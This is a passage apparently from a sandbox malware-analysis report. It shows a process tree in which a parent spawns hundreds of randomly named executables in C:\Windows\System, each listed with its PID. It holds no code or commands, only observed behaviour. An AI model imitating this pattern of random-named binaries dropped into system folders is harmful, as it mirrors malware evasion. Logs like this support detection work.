  2⤵
  PID:7152
- C:\Windows\System\GaedmDV.exe
  C:\Windows\System\GaedmDV.exe
  2⤵
  PID:6412
- C:\Windows\System\YiUHULm.exe
  C:\Windows\System\YiUHULm.exe
  2⤵
  PID:1368
- C:\Windows\System\twJzSZu.exe
  C:\Windows\System\twJzSZu.exe
  2⤵
  PID:4844
- C:\Windows\System\vcFFLtk.exe
  C:\Windows\System\vcFFLtk.exe
  2⤵
  PID:5524
- C:\Windows\System\gqEbxTU.exe
  C:\Windows\System\gqEbxTU.exe
  2⤵
  PID:5644
- C:\Windows\System\ZTehfqM.exe
  C:\Windows\System\ZTehfqM.exe
  2⤵
  PID:5252
- C:\Windows\System\qOfhMuZ.exe
  C:\Windows\System\qOfhMuZ.exe
  2⤵
  PID:5760
- C:\Windows\System\gsIXRkv.exe
  C:\Windows\System\gsIXRkv.exe
  2⤵
  PID:6660
- C:\Windows\System\NcjqGEe.exe
  C:\Windows\System\NcjqGEe.exe
  2⤵
  PID:6696
- C:\Windows\System\cKrMCeN.exe
  C:\Windows\System\cKrMCeN.exe
  2⤵
  PID:348
- C:\Windows\System\BCtTVVZ.exe
  C:\Windows\System\BCtTVVZ.exe
  2⤵
  PID:7224
- C:\Windows\System\FYumPIu.exe
  C:\Windows\System\FYumPIu.exe
  2⤵
  PID:7296
- C:\Windows\System\VkFDIPP.exe
  C:\Windows\System\VkFDIPP.exe
  2⤵
  PID:7348
- C:\Windows\System\XiSMzKx.exe
  C:\Windows\System\XiSMzKx.exe
  2⤵
  PID:8208
- C:\Windows\System\NpMEhQg.exe
  C:\Windows\System\NpMEhQg.exe
  2⤵
  PID:8236
- C:\Windows\System\OdWVfpR.exe
  C:\Windows\System\OdWVfpR.exe
  2⤵
  PID:8256
- C:\Windows\System\pDeOyiY.exe
  C:\Windows\System\pDeOyiY.exe
  2⤵
  PID:8276
- C:\Windows\System\BmFapDC.exe
  C:\Windows\System\BmFapDC.exe
  2⤵
  PID:8304
- C:\Windows\System\fNFmlOl.exe
  C:\Windows\System\fNFmlOl.exe
  2⤵
  PID:8328
- C:\Windows\System\tXBuHSQ.exe
  C:\Windows\System\tXBuHSQ.exe
  2⤵
  PID:8348
- C:\Windows\System\hmBPxYQ.exe
  C:\Windows\System\hmBPxYQ.exe
  2⤵
  PID:8368
- C:\Windows\System\CYTYAIv.exe
  C:\Windows\System\CYTYAIv.exe
  2⤵
  PID:8392
- C:\Windows\System\ISWMWsQ.exe
  C:\Windows\System\ISWMWsQ.exe
  2⤵
  PID:8416
- C:\Windows\System\urxlyOT.exe
  C:\Windows\System\urxlyOT.exe
  2⤵
  PID:8436
- C:\Windows\System\QyHNhzD.exe
  C:\Windows\System\QyHNhzD.exe
  2⤵
  PID:8472
- C:\Windows\System\mFByHqV.exe
  C:\Windows\System\mFByHqV.exe
  2⤵
  PID:8496
- C:\Windows\System\UeNwJlh.exe
  C:\Windows\System\UeNwJlh.exe
  2⤵
  PID:8516
- C:\Windows\System\hAbpbid.exe
  C:\Windows\System\hAbpbid.exe
  2⤵
  PID:8536
- C:\Windows\System\PwETFvO.exe
  C:\Windows\System\PwETFvO.exe
  2⤵
  PID:8560
- C:\Windows\System\ujDYovG.exe
  C:\Windows\System\ujDYovG.exe
  2⤵
  PID:8576
- C:\Windows\System\UscxJJt.exe
  C:\Windows\System\UscxJJt.exe
  2⤵
  PID:8600
- C:\Windows\System\vPDoBHz.exe
  C:\Windows\System\vPDoBHz.exe
  2⤵
  PID:8628
- C:\Windows\System\IsoLTle.exe
  C:\Windows\System\IsoLTle.exe
  2⤵
  PID:8648
- C:\Windows\System\iNoRZvM.exe
  C:\Windows\System\iNoRZvM.exe
  2⤵
  PID:8668
- C:\Windows\System\lYwroxv.exe
  C:\Windows\System\lYwroxv.exe
  2⤵
  PID:8692
- C:\Windows\System\vEdVVhP.exe
  C:\Windows\System\vEdVVhP.exe
  2⤵
  PID:8708
- C:\Windows\System\JEbuOFU.exe
  C:\Windows\System\JEbuOFU.exe
  2⤵
  PID:8732
- C:\Windows\System\ljCAbhb.exe
  C:\Windows\System\ljCAbhb.exe
  2⤵
  PID:8760
- C:\Windows\System\DsPROqb.exe
  C:\Windows\System\DsPROqb.exe
  2⤵
  PID:8780
- C:\Windows\System\rLfZHWb.exe
  C:\Windows\System\rLfZHWb.exe
  2⤵
  PID:8808
- C:\Windows\System\KFJqDnW.exe
  C:\Windows\System\KFJqDnW.exe
  2⤵
  PID:8828
- C:\Windows\System\cZOfCOE.exe
  C:\Windows\System\cZOfCOE.exe
  2⤵
  PID:8852
- C:\Windows\System\Atjzvpw.exe
  C:\Windows\System\Atjzvpw.exe
  2⤵
  PID:8872
- C:\Windows\System\fyYMWkn.exe
  C:\Windows\System\fyYMWkn.exe
  2⤵
  PID:8896
- C:\Windows\System\PFPYusw.exe
  C:\Windows\System\PFPYusw.exe
  2⤵
  PID:6888
- C:\Windows\System\lTKiXcP.exe
  C:\Windows\System\lTKiXcP.exe
  2⤵
  PID:7016
- C:\Windows\System\bdQAClU.exe
  C:\Windows\System\bdQAClU.exe
  2⤵
  PID:7568
- C:\Windows\System\vVrQZlF.exe
  C:\Windows\System\vVrQZlF.exe
  2⤵
  PID:7112
- C:\Windows\System\jAtpDKc.exe
  C:\Windows\System\jAtpDKc.exe
  2⤵
  PID:6424
- C:\Windows\System\TKOuksn.exe
  C:\Windows\System\TKOuksn.exe
  2⤵
  PID:6464
- C:\Windows\System\thvJMhW.exe
  C:\Windows\System\thvJMhW.exe
  2⤵
  PID:7784
- C:\Windows\System\bMbqGYO.exe
  C:\Windows\System\bMbqGYO.exe
  2⤵
  PID:7848
- C:\Windows\System\McJTpwj.exe
  C:\Windows\System\McJTpwj.exe
  2⤵
  PID:7888
- C:\Windows\System\LJeRJUW.exe
  C:\Windows\System\LJeRJUW.exe
  2⤵
  PID:7972
- C:\Windows\System\GFCSFMg.exe
  C:\Windows\System\GFCSFMg.exe
  2⤵
  PID:8064
- C:\Windows\System\QJdhoGe.exe
  C:\Windows\System\QJdhoGe.exe
  2⤵
  PID:6608
- C:\Windows\System\VRHyTUk.exe
  C:\Windows\System\VRHyTUk.exe
  2⤵
  PID:3384
- C:\Windows\System\RJaAOag.exe
  C:\Windows\System\RJaAOag.exe
  2⤵
  PID:6736
- C:\Windows\System\IDCmGMF.exe
  C:\Windows\System\IDCmGMF.exe
  2⤵
  PID:6580
- C:\Windows\System\ZvPCQUb.exe
  C:\Windows\System\ZvPCQUb.exe
  2⤵
  PID:6844
- C:\Windows\System\OCzPEoZ.exe
  C:\Windows\System\OCzPEoZ.exe
  2⤵
  PID:8316
- C:\Windows\System\szlneLV.exe
  C:\Windows\System\szlneLV.exe
  2⤵
  PID:7064
- C:\Windows\System\PVwbxzC.exe
  C:\Windows\System\PVwbxzC.exe
  2⤵
  PID:8408
- C:\Windows\System\yFzopZx.exe
  C:\Windows\System\yFzopZx.exe
  2⤵
  PID:7108
- C:\Windows\System\AqjLaeZ.exe
  C:\Windows\System\AqjLaeZ.exe
  2⤵
  PID:8608
- C:\Windows\System\oBUbEHu.exe
  C:\Windows\System\oBUbEHu.exe
  2⤵
  PID:8636
- C:\Windows\System\xOqOBxe.exe
  C:\Windows\System\xOqOBxe.exe
  2⤵
  PID:8916
- C:\Windows\System\TCsfvkx.exe
  C:\Windows\System\TCsfvkx.exe
  2⤵
  PID:8016
- C:\Windows\System\AlbSSHa.exe
  C:\Windows\System\AlbSSHa.exe
  2⤵
  PID:6748
- C:\Windows\System\arKwhTa.exe
  C:\Windows\System\arKwhTa.exe
  2⤵
  PID:5476
- C:\Windows\System\GOBGIhP.exe
  C:\Windows\System\GOBGIhP.exe
  2⤵
  PID:8504
- C:\Windows\System\eBVrqFi.exe
  C:\Windows\System\eBVrqFi.exe
  2⤵
  PID:8200
- C:\Windows\System\qNGOhXF.exe
  C:\Windows\System\qNGOhXF.exe
  2⤵
  PID:8340
- C:\Windows\System\gBxtGQR.exe
  C:\Windows\System\gBxtGQR.exe
  2⤵
  PID:8004
- C:\Windows\System\MmxTjvX.exe
  C:\Windows\System\MmxTjvX.exe
  2⤵
  PID:6140
- C:\Windows\System\htCiDgW.exe
  C:\Windows\System\htCiDgW.exe
  2⤵
  PID:6172
- C:\Windows\System\RExSpkR.exe
  C:\Windows\System\RExSpkR.exe
  2⤵
  PID:6952
- C:\Windows\System\woSFxsl.exe
  C:\Windows\System\woSFxsl.exe
  2⤵
  PID:1416
- C:\Windows\System\iocOEtM.exe
  C:\Windows\System\iocOEtM.exe
  2⤵
  PID:7252
- C:\Windows\System\gnvjYxK.exe
  C:\Windows\System\gnvjYxK.exe
  2⤵
  PID:7312
- C:\Windows\System\cWupjrH.exe
  C:\Windows\System\cWupjrH.exe
  2⤵
  PID:9228
- C:\Windows\System\VWwgOeK.exe
  C:\Windows\System\VWwgOeK.exe
  2⤵
  PID:9248
- C:\Windows\System\IeavpfR.exe
  C:\Windows\System\IeavpfR.exe
  2⤵
  PID:9268
- C:\Windows\System\LztXAIG.exe
  C:\Windows\System\LztXAIG.exe
  2⤵
  PID:9284
- C:\Windows\System\rWUOowO.exe
  C:\Windows\System\rWUOowO.exe
  2⤵
  PID:9308
- C:\Windows\System\cHDnHPJ.exe
  C:\Windows\System\cHDnHPJ.exe
  2⤵
  PID:9328
- C:\Windows\System\YyLjDpd.exe
  C:\Windows\System\YyLjDpd.exe
  2⤵
  PID:9348
- C:\Windows\System\kLtPwwv.exe
  C:\Windows\System\kLtPwwv.exe
  2⤵
  PID:9376
- C:\Windows\System\JpAFQDm.exe
  C:\Windows\System\JpAFQDm.exe
  2⤵
  PID:9404
- C:\Windows\System\GHJBPiA.exe
  C:\Windows\System\GHJBPiA.exe
  2⤵
  PID:9432
- C:\Windows\System\YmCqFyL.exe
  C:\Windows\System\YmCqFyL.exe
  2⤵
  PID:9452
- C:\Windows\System\vqgwdff.exe
  C:\Windows\System\vqgwdff.exe
  2⤵
  PID:9468
- C:\Windows\System\fbAgnqH.exe
  C:\Windows\System\fbAgnqH.exe
  2⤵
  PID:9488
- C:\Windows\System\tbJKWOp.exe
  C:\Windows\System\tbJKWOp.exe
  2⤵
  PID:9508
- C:\Windows\System\vBNflaZ.exe
  C:\Windows\System\vBNflaZ.exe
  2⤵
  PID:9528
- C:\Windows\System\PgkfIGx.exe
  C:\Windows\System\PgkfIGx.exe
  2⤵
  PID:9552
- C:\Windows\System\ykzVfKA.exe
  C:\Windows\System\ykzVfKA.exe
  2⤵
  PID:9580
- C:\Windows\System\UaFjASd.exe
  C:\Windows\System\UaFjASd.exe
  2⤵
  PID:9600
- C:\Windows\System\INrKDtN.exe
  C:\Windows\System\INrKDtN.exe
  2⤵
  PID:9628
- C:\Windows\System\bHDIWJj.exe
  C:\Windows\System\bHDIWJj.exe
  2⤵
  PID:9660
- C:\Windows\System\GXgTkOp.exe
  C:\Windows\System\GXgTkOp.exe
  2⤵
  PID:9680
- C:\Windows\System\FTXCxzT.exe
  C:\Windows\System\FTXCxzT.exe
  2⤵
  PID:9704
- C:\Windows\System\VDtNVZO.exe
  C:\Windows\System\VDtNVZO.exe
  2⤵
  PID:9732
- C:\Windows\System\wMWJUjo.exe
  C:\Windows\System\wMWJUjo.exe
  2⤵
  PID:9760
- C:\Windows\System\TsnsQRN.exe
  C:\Windows\System\TsnsQRN.exe
  2⤵
  PID:9788
- C:\Windows\System\sUeuvFv.exe
  C:\Windows\System\sUeuvFv.exe
  2⤵
  PID:9808
- C:\Windows\System\vXntLxt.exe
  C:\Windows\System\vXntLxt.exe
  2⤵
  PID:9840
- C:\Windows\System\YxkPJkZ.exe
  C:\Windows\System\YxkPJkZ.exe
  2⤵
  PID:9868
- C:\Windows\System\JzkfSYe.exe
  C:\Windows\System\JzkfSYe.exe
  2⤵
  PID:9888
- C:\Windows\System\fvlFvEn.exe
  C:\Windows\System\fvlFvEn.exe
  2⤵
  PID:9908
- C:\Windows\System\hgXLpAP.exe
  C:\Windows\System\hgXLpAP.exe
  2⤵
  PID:9928
- C:\Windows\System\uMDLggP.exe
  C:\Windows\System\uMDLggP.exe
  2⤵
  PID:9952
- C:\Windows\System\FzTlUoS.exe
  C:\Windows\System\FzTlUoS.exe
  2⤵
  PID:9972
- C:\Windows\System\VANzfFb.exe
  C:\Windows\System\VANzfFb.exe
  2⤵
  PID:9992
- C:\Windows\System\kJKOYjd.exe
  C:\Windows\System\kJKOYjd.exe
  2⤵
  PID:10012
- C:\Windows\System\swIxZdU.exe
  C:\Windows\System\swIxZdU.exe
  2⤵
  PID:10032
- C:\Windows\System\OMiDgyZ.exe
  C:\Windows\System\OMiDgyZ.exe
  2⤵
  PID:10056
- C:\Windows\System\wrfdIuz.exe
  C:\Windows\System\wrfdIuz.exe
  2⤵
  PID:10076
- C:\Windows\System\ssvcJiL.exe
  C:\Windows\System\ssvcJiL.exe
  2⤵
  PID:10096
- C:\Windows\System\lZzimdI.exe
  C:\Windows\System\lZzimdI.exe
  2⤵
  PID:10120
- C:\Windows\System\ayLEImX.exe
  C:\Windows\System\ayLEImX.exe
  2⤵
  PID:10144
- C:\Windows\System\EbRsqrG.exe
  C:\Windows\System\EbRsqrG.exe
  2⤵
  PID:10164
- C:\Windows\System\VyfGIeM.exe
  C:\Windows\System\VyfGIeM.exe
  2⤵
  PID:10184
- C:\Windows\System\IxUtBgq.exe
  C:\Windows\System\IxUtBgq.exe
  2⤵
  PID:10212
- C:\Windows\System\gcjHRvn.exe
  C:\Windows\System\gcjHRvn.exe
  2⤵
  PID:10228
- C:\Windows\System\VoXvNQA.exe
  C:\Windows\System\VoXvNQA.exe
  2⤵
  PID:6872
- C:\Windows\System\JSLvGuq.exe
  C:\Windows\System\JSLvGuq.exe
  2⤵
  PID:7392
- C:\Windows\System\aEjFZGP.exe
  C:\Windows\System\aEjFZGP.exe
  2⤵
  PID:8292
- C:\Windows\System\sKnhGjg.exe
  C:\Windows\System\sKnhGjg.exe
  2⤵
  PID:7496
- C:\Windows\System\kxtMWho.exe
  C:\Windows\System\kxtMWho.exe
  2⤵
  PID:8456
- C:\Windows\System\mfuikdX.exe
  C:\Windows\System\mfuikdX.exe
  2⤵
  PID:9120
- C:\Windows\System\DlUDBSt.exe
  C:\Windows\System\DlUDBSt.exe
  2⤵
  PID:9164
- C:\Windows\System\lgjTxCK.exe
  C:\Windows\System\lgjTxCK.exe
  2⤵
  PID:7736
- C:\Windows\System\pnhnntV.exe
  C:\Windows\System\pnhnntV.exe
  2⤵
  PID:7832
- C:\Windows\System\WYHZKGo.exe
  C:\Windows\System\WYHZKGo.exe
  2⤵
  PID:8744
- C:\Windows\System\VupEaam.exe
  C:\Windows\System\VupEaam.exe
  2⤵
  PID:10248
- C:\Windows\System\FREGLku.exe
  C:\Windows\System\FREGLku.exe
  2⤵
  PID:10268
- C:\Windows\System\YQrpIBM.exe
  C:\Windows\System\YQrpIBM.exe
  2⤵
  PID:10292
- C:\Windows\System\Iisbtlo.exe
  C:\Windows\System\Iisbtlo.exe
  2⤵
  PID:10316
- C:\Windows\System\sOzjQMF.exe
  C:\Windows\System\sOzjQMF.exe
  2⤵
  PID:10332
- C:\Windows\System\JgmzgnE.exe
  C:\Windows\System\JgmzgnE.exe
  2⤵
  PID:10356
- C:\Windows\System\eJweCXB.exe
  C:\Windows\System\eJweCXB.exe
  2⤵
  PID:10380
- C:\Windows\System\QNNXEpm.exe
  C:\Windows\System\QNNXEpm.exe
  2⤵
  PID:10408
- C:\Windows\System\cIqsdbI.exe
  C:\Windows\System\cIqsdbI.exe
  2⤵
  PID:10424
- C:\Windows\System\FxmEMFX.exe
  C:\Windows\System\FxmEMFX.exe
  2⤵
  PID:10448
- C:\Windows\System\syAwwHQ.exe
  C:\Windows\System\syAwwHQ.exe
  2⤵
  PID:10468
- C:\Windows\System\lpestJC.exe
  C:\Windows\System\lpestJC.exe
  2⤵
  PID:10496
- C:\Windows\System\ILFjoGn.exe
  C:\Windows\System\ILFjoGn.exe
  2⤵
  PID:10520
- C:\Windows\System\wPQPdjD.exe
  C:\Windows\System\wPQPdjD.exe
  2⤵
  PID:10540
- C:\Windows\System\jlmvBuk.exe
  C:\Windows\System\jlmvBuk.exe
  2⤵
  PID:10568
- C:\Windows\System\IgEFlCu.exe
  C:\Windows\System\IgEFlCu.exe
  2⤵
  PID:10592
- C:\Windows\System\Qedkxvn.exe
  C:\Windows\System\Qedkxvn.exe
  2⤵
  PID:10612
- C:\Windows\System\bHgJWYm.exe
  C:\Windows\System\bHgJWYm.exe
  2⤵
  PID:10632
- C:\Windows\System\cSirwhF.exe
  C:\Windows\System\cSirwhF.exe
  2⤵
  PID:10668
- C:\Windows\System\ZiNhBbu.exe
  C:\Windows\System\ZiNhBbu.exe
  2⤵
  PID:10688
- C:\Windows\System\oySacDg.exe
  C:\Windows\System\oySacDg.exe
  2⤵
  PID:10720
- C:\Windows\System\DcYEipX.exe
  C:\Windows\System\DcYEipX.exe
  2⤵
  PID:10744
- C:\Windows\System\TSKrvFM.exe
  C:\Windows\System\TSKrvFM.exe
  2⤵
  PID:10768
- C:\Windows\System\ZSqfuqc.exe
  C:\Windows\System\ZSqfuqc.exe
  2⤵
  PID:10796
- C:\Windows\System\UxYXGNc.exe
  C:\Windows\System\UxYXGNc.exe
  2⤵
  PID:10820
- C:\Windows\System\hEPrefq.exe
  C:\Windows\System\hEPrefq.exe
  2⤵
  PID:10872
- C:\Windows\System\NZKUFsZ.exe
  C:\Windows\System\NZKUFsZ.exe
  2⤵
  PID:10900
- C:\Windows\System\wmcCluV.exe
  C:\Windows\System\wmcCluV.exe
  2⤵
  PID:10916
- C:\Windows\System\vrlIIRL.exe
  C:\Windows\System\vrlIIRL.exe
  2⤵
  PID:10940
- C:\Windows\System\yvHBkjh.exe
  C:\Windows\System\yvHBkjh.exe
  2⤵
  PID:10968
- C:\Windows\System\SWgdemc.exe
  C:\Windows\System\SWgdemc.exe
  2⤵
  PID:10996
- C:\Windows\System\iozCiWR.exe
  C:\Windows\System\iozCiWR.exe
  2⤵
  PID:11012
- C:\Windows\System\ypTqAuX.exe
  C:\Windows\System\ypTqAuX.exe
  2⤵
  PID:11040
- C:\Windows\System\jxAeowS.exe
  C:\Windows\System\jxAeowS.exe
  2⤵
  PID:11068
- C:\Windows\System\IpzfGoN.exe
  C:\Windows\System\IpzfGoN.exe
  2⤵
  PID:11092
- C:\Windows\System\IItbbrn.exe
  C:\Windows\System\IItbbrn.exe
  2⤵
  PID:11108
- C:\Windows\System\BBtbFLl.exe
  C:\Windows\System\BBtbFLl.exe
  2⤵
  PID:11136
- C:\Windows\System\XSRTQfD.exe
  C:\Windows\System\XSRTQfD.exe
  2⤵
  PID:11156
- C:\Windows\System\WyqcqaX.exe
  C:\Windows\System\WyqcqaX.exe
  2⤵
  PID:11180
- C:\Windows\System\GRvdWyh.exe
  C:\Windows\System\GRvdWyh.exe
  2⤵
  PID:11204
- C:\Windows\System\CKlzPrl.exe
  C:\Windows\System\CKlzPrl.exe
  2⤵
  PID:11232
- C:\Windows\System\UpjssDA.exe
  C:\Windows\System\UpjssDA.exe
  2⤵
  PID:11252
- C:\Windows\System\yjBeESv.exe
  C:\Windows\System\yjBeESv.exe
  2⤵
  PID:6416
- C:\Windows\System\ARnToZJ.exe
  C:\Windows\System\ARnToZJ.exe
  2⤵
  PID:7984
- C:\Windows\System\RRjFhwn.exe
  C:\Windows\System\RRjFhwn.exe
  2⤵
  PID:8120
- C:\Windows\System\ruRtlXh.exe
  C:\Windows\System\ruRtlXh.exe
  2⤵
  PID:8180
- C:\Windows\System\tRflvHc.exe
  C:\Windows\System\tRflvHc.exe
  2⤵
  PID:7128
- C:\Windows\System\ZppBnCV.exe
  C:\Windows\System\ZppBnCV.exe
  2⤵
  PID:5712
- C:\Windows\System\gjHIHAe.exe
  C:\Windows\System\gjHIHAe.exe
  2⤵
  PID:7332
- C:\Windows\System\hVTCQeO.exe
  C:\Windows\System\hVTCQeO.exe
  2⤵
  PID:8000
- C:\Windows\System\vHIytju.exe
  C:\Windows\System\vHIytju.exe
  2⤵
  PID:9220
- C:\Windows\System\MfRqpCD.exe
  C:\Windows\System\MfRqpCD.exe
  2⤵
  PID:9384
- C:\Windows\System\ffCinEY.exe
  C:\Windows\System\ffCinEY.exe
  2⤵
  PID:9416
- C:\Windows\System\NLrKfVw.exe
  C:\Windows\System\NLrKfVw.exe
  2⤵
  PID:9460
- C:\Windows\System\bIHugOX.exe
  C:\Windows\System\bIHugOX.exe
  2⤵
  PID:9536
- C:\Windows\System\DpTQdPg.exe
  C:\Windows\System\DpTQdPg.exe
  2⤵
  PID:9624
- C:\Windows\System\AOrXyQa.exe
  C:\Windows\System\AOrXyQa.exe
  2⤵
  PID:8508
- C:\Windows\System\adxrFpJ.exe
  C:\Windows\System\adxrFpJ.exe
  2⤵
  PID:9860
- C:\Windows\System\HeKrFCW.exe
  C:\Windows\System\HeKrFCW.exe
  2⤵
  PID:8716
- C:\Windows\System\tqBWunx.exe
  C:\Windows\System\tqBWunx.exe
  2⤵
  PID:9896
- C:\Windows\System\rRFdIfc.exe
  C:\Windows\System\rRFdIfc.exe
  2⤵
  PID:10008
- C:\Windows\System\ZZXrmdV.exe
  C:\Windows\System\ZZXrmdV.exe
  2⤵
  PID:10064
- C:\Windows\System\BuLtMdx.exe
  C:\Windows\System\BuLtMdx.exe
  2⤵
  PID:10128
- C:\Windows\System\hSJCqfU.exe
  C:\Windows\System\hSJCqfU.exe
  2⤵
  PID:8868
- C:\Windows\System\TtLQKVy.exe
  C:\Windows\System\TtLQKVy.exe
  2⤵
  PID:10208
- C:\Windows\System\thwOFii.exe
  C:\Windows\System\thwOFii.exe
  2⤵
  PID:11284
- C:\Windows\System\kdizoFN.exe
  C:\Windows\System\kdizoFN.exe
  2⤵
  PID:11308
- C:\Windows\System\yRBIeVT.exe
  C:\Windows\System\yRBIeVT.exe
  2⤵
  PID:11324
- C:\Windows\System\rBgLTPO.exe
  C:\Windows\System\rBgLTPO.exe
  2⤵
  PID:11344
- C:\Windows\System\FWkSJCT.exe
  C:\Windows\System\FWkSJCT.exe
  2⤵
  PID:11364
- C:\Windows\System\mtBQvna.exe
  C:\Windows\System\mtBQvna.exe
  2⤵
  PID:11384
- C:\Windows\System\NifuNlP.exe
  C:\Windows\System\NifuNlP.exe
  2⤵
  PID:11408
- C:\Windows\System\hIcOFde.exe
  C:\Windows\System\hIcOFde.exe
  2⤵
  PID:11428
- C:\Windows\System\ruXgkRI.exe
  C:\Windows\System\ruXgkRI.exe
  2⤵
  PID:11452
- C:\Windows\System\UAVqIfA.exe
  C:\Windows\System\UAVqIfA.exe
  2⤵
  PID:11472
- C:\Windows\System\cwhNEAc.exe
  C:\Windows\System\cwhNEAc.exe
  2⤵
  PID:11500
- C:\Windows\System\gVCsZHC.exe
  C:\Windows\System\gVCsZHC.exe
  2⤵
  PID:11520
- C:\Windows\System\FlIqDdv.exe
  C:\Windows\System\FlIqDdv.exe
  2⤵
  PID:11540
- C:\Windows\System\DvLegrj.exe
  C:\Windows\System\DvLegrj.exe
  2⤵
  PID:11568
- C:\Windows\System\XPxYlKx.exe
  C:\Windows\System\XPxYlKx.exe
  2⤵
  PID:11588
- C:\Windows\System\qxzFuAL.exe
  C:\Windows\System\qxzFuAL.exe
  2⤵
  PID:11608
- C:\Windows\System\uEfxkaN.exe
  C:\Windows\System\uEfxkaN.exe
  2⤵
  PID:11632
- C:\Windows\System\nGHqrXN.exe
  C:\Windows\System\nGHqrXN.exe
  2⤵
  PID:11652
- C:\Windows\System\FpnPcFm.exe
  C:\Windows\System\FpnPcFm.exe
  2⤵
  PID:11668
- C:\Windows\System\BHBWabn.exe
  C:\Windows\System\BHBWabn.exe
  2⤵
  PID:11688
- C:\Windows\System\PuheLSh.exe
  C:\Windows\System\PuheLSh.exe
  2⤵
  PID:11708
- C:\Windows\System\CktcYCY.exe
  C:\Windows\System\CktcYCY.exe
  2⤵
  PID:11728
- C:\Windows\System\btUylpi.exe
  C:\Windows\System\btUylpi.exe
  2⤵
  PID:11752
- C:\Windows\System\qhzaNKL.exe
  C:\Windows\System\qhzaNKL.exe
  2⤵
  PID:11772
- C:\Windows\System\tuPaGyx.exe
  C:\Windows\System\tuPaGyx.exe
  2⤵
  PID:11792
- C:\Windows\System\idHCTtP.exe
  C:\Windows\System\idHCTtP.exe
  2⤵
  PID:11816
- C:\Windows\System\FtlnrIs.exe
  C:\Windows\System\FtlnrIs.exe
  2⤵
  PID:11836
- C:\Windows\System\XYIwFoo.exe
  C:\Windows\System\XYIwFoo.exe
  2⤵
  PID:11864
- C:\Windows\System\CxBJebH.exe
  C:\Windows\System\CxBJebH.exe
  2⤵
  PID:11880
- C:\Windows\System\GRqkfKO.exe
  C:\Windows\System\GRqkfKO.exe
  2⤵
  PID:11904
- C:\Windows\System\nJmSdLl.exe
  C:\Windows\System\nJmSdLl.exe
  2⤵
  PID:11924
- C:\Windows\System\aImCcFZ.exe
  C:\Windows\System\aImCcFZ.exe
  2⤵
  PID:11944
- C:\Windows\System\EqwUktr.exe
  C:\Windows\System\EqwUktr.exe
  2⤵
  PID:11964
- C:\Windows\System\ruVWrtF.exe
  C:\Windows\System\ruVWrtF.exe
  2⤵
  PID:11984
- C:\Windows\System\fxBlaZm.exe
  C:\Windows\System\fxBlaZm.exe
  2⤵
  PID:12004
- C:\Windows\System\iGfSSyg.exe
  C:\Windows\System\iGfSSyg.exe
  2⤵
  PID:12028
- C:\Windows\System\MvPJbpn.exe
  C:\Windows\System\MvPJbpn.exe
  2⤵
  PID:12048
- C:\Windows\System\CISUptI.exe
  C:\Windows\System\CISUptI.exe
  2⤵
  PID:12068
- C:\Windows\System\fYTZduV.exe
  C:\Windows\System\fYTZduV.exe
  2⤵
  PID:12088
- C:\Windows\System\wEbjNoP.exe
  C:\Windows\System\wEbjNoP.exe
  2⤵
  PID:12112
- C:\Windows\System\xuWvJrD.exe
  C:\Windows\System\xuWvJrD.exe
  2⤵
  PID:12132
- C:\Windows\System\EDKPnWN.exe
  C:\Windows\System\EDKPnWN.exe
  2⤵
  PID:12152
- C:\Windows\System\ynDkrZJ.exe
  C:\Windows\System\ynDkrZJ.exe
  2⤵
  PID:12180
- C:\Windows\System\VbekHOq.exe
  C:\Windows\System\VbekHOq.exe
  2⤵
  PID:12196
- C:\Windows\System\nknJIXk.exe
  C:\Windows\System\nknJIXk.exe
  2⤵
  PID:12220
- C:\Windows\System\ZaeAtQe.exe
  C:\Windows\System\ZaeAtQe.exe
  2⤵
  PID:12244
- C:\Windows\System\eGPTKpZ.exe
  C:\Windows\System\eGPTKpZ.exe
  2⤵
  PID:12264
- C:\Windows\System\ZyfFIZx.exe
  C:\Windows\System\ZyfFIZx.exe
  2⤵
  PID:7376
- C:\Windows\System\WIREUKj.exe
  C:\Windows\System\WIREUKj.exe
  2⤵
  PID:8836
- C:\Windows\System\drXzRPJ.exe
  C:\Windows\System\drXzRPJ.exe
  2⤵
  PID:8640
- C:\Windows\System\YjDTeXb.exe
  C:\Windows\System\YjDTeXb.exe
  2⤵
  PID:7460
- C:\Windows\System\aXBBwLM.exe
  C:\Windows\System\aXBBwLM.exe
  2⤵
  PID:5288
- C:\Windows\System\HYhnrSU.exe
  C:\Windows\System\HYhnrSU.exe
  2⤵
  PID:6380
- C:\Windows\System\PgFajlv.exe
  C:\Windows\System\PgFajlv.exe
  2⤵
  PID:10372
- C:\Windows\System\VQHQNXJ.exe
  C:\Windows\System\VQHQNXJ.exe
  2⤵
  PID:7780
- C:\Windows\System\zoYZybe.exe
  C:\Windows\System\zoYZybe.exe
  2⤵
  PID:6564
- C:\Windows\System\ijJSIAC.exe
  C:\Windows\System\ijJSIAC.exe
  2⤵
  PID:8136
- C:\Windows\System\ylItazl.exe
  C:\Windows\System\ylItazl.exe
  2⤵
  PID:6732
- C:\Windows\System\JxXTcOH.exe
  C:\Windows\System\JxXTcOH.exe
  2⤵
  PID:6824
- C:\Windows\System\GvipNLd.exe
  C:\Windows\System\GvipNLd.exe
  2⤵
  PID:8364
- C:\Windows\System\QfgkQTL.exe
  C:\Windows\System\QfgkQTL.exe
  2⤵
  PID:10548
- C:\Windows\System\fbHUppd.exe
  C:\Windows\System\fbHUppd.exe
  2⤵
  PID:7648
- C:\Windows\System\sWMJoEG.exe
  C:\Windows\System\sWMJoEG.exe
  2⤵
  PID:10660
- C:\Windows\System\igEZSqf.exe
  C:\Windows\System\igEZSqf.exe
  2⤵
  PID:10776
- C:\Windows\System\PnXnjRs.exe
  C:\Windows\System\PnXnjRs.exe
  2⤵
  PID:8404
- C:\Windows\System\DPqHNcp.exe
  C:\Windows\System\DPqHNcp.exe
  2⤵
  PID:9036
- C:\Windows\System\BgVYPDG.exe
  C:\Windows\System\BgVYPDG.exe
  2⤵
  PID:864
- C:\Windows\System\mpugfQe.exe
  C:\Windows\System\mpugfQe.exe
  2⤵
  PID:9320
- C:\Windows\System\MhTYPMI.exe
  C:\Windows\System\MhTYPMI.exe
  2⤵
  PID:9368
- C:\Windows\System\nxgZEAD.exe
  C:\Windows\System\nxgZEAD.exe
  2⤵
  PID:9476
- C:\Windows\System\JxCLVzX.exe
  C:\Windows\System\JxCLVzX.exe
  2⤵
  PID:9520
- C:\Windows\System\cDxgBRZ.exe
  C:\Windows\System\cDxgBRZ.exe
  2⤵
  PID:9568
- C:\Windows\System\jDwDVZN.exe
  C:\Windows\System\jDwDVZN.exe
  2⤵
  PID:9644
- C:\Windows\System\yfGipeQ.exe
  C:\Windows\System\yfGipeQ.exe
  2⤵
  PID:9748
- C:\Windows\System\dqGybEi.exe
  C:\Windows\System\dqGybEi.exe
  2⤵
  PID:12296
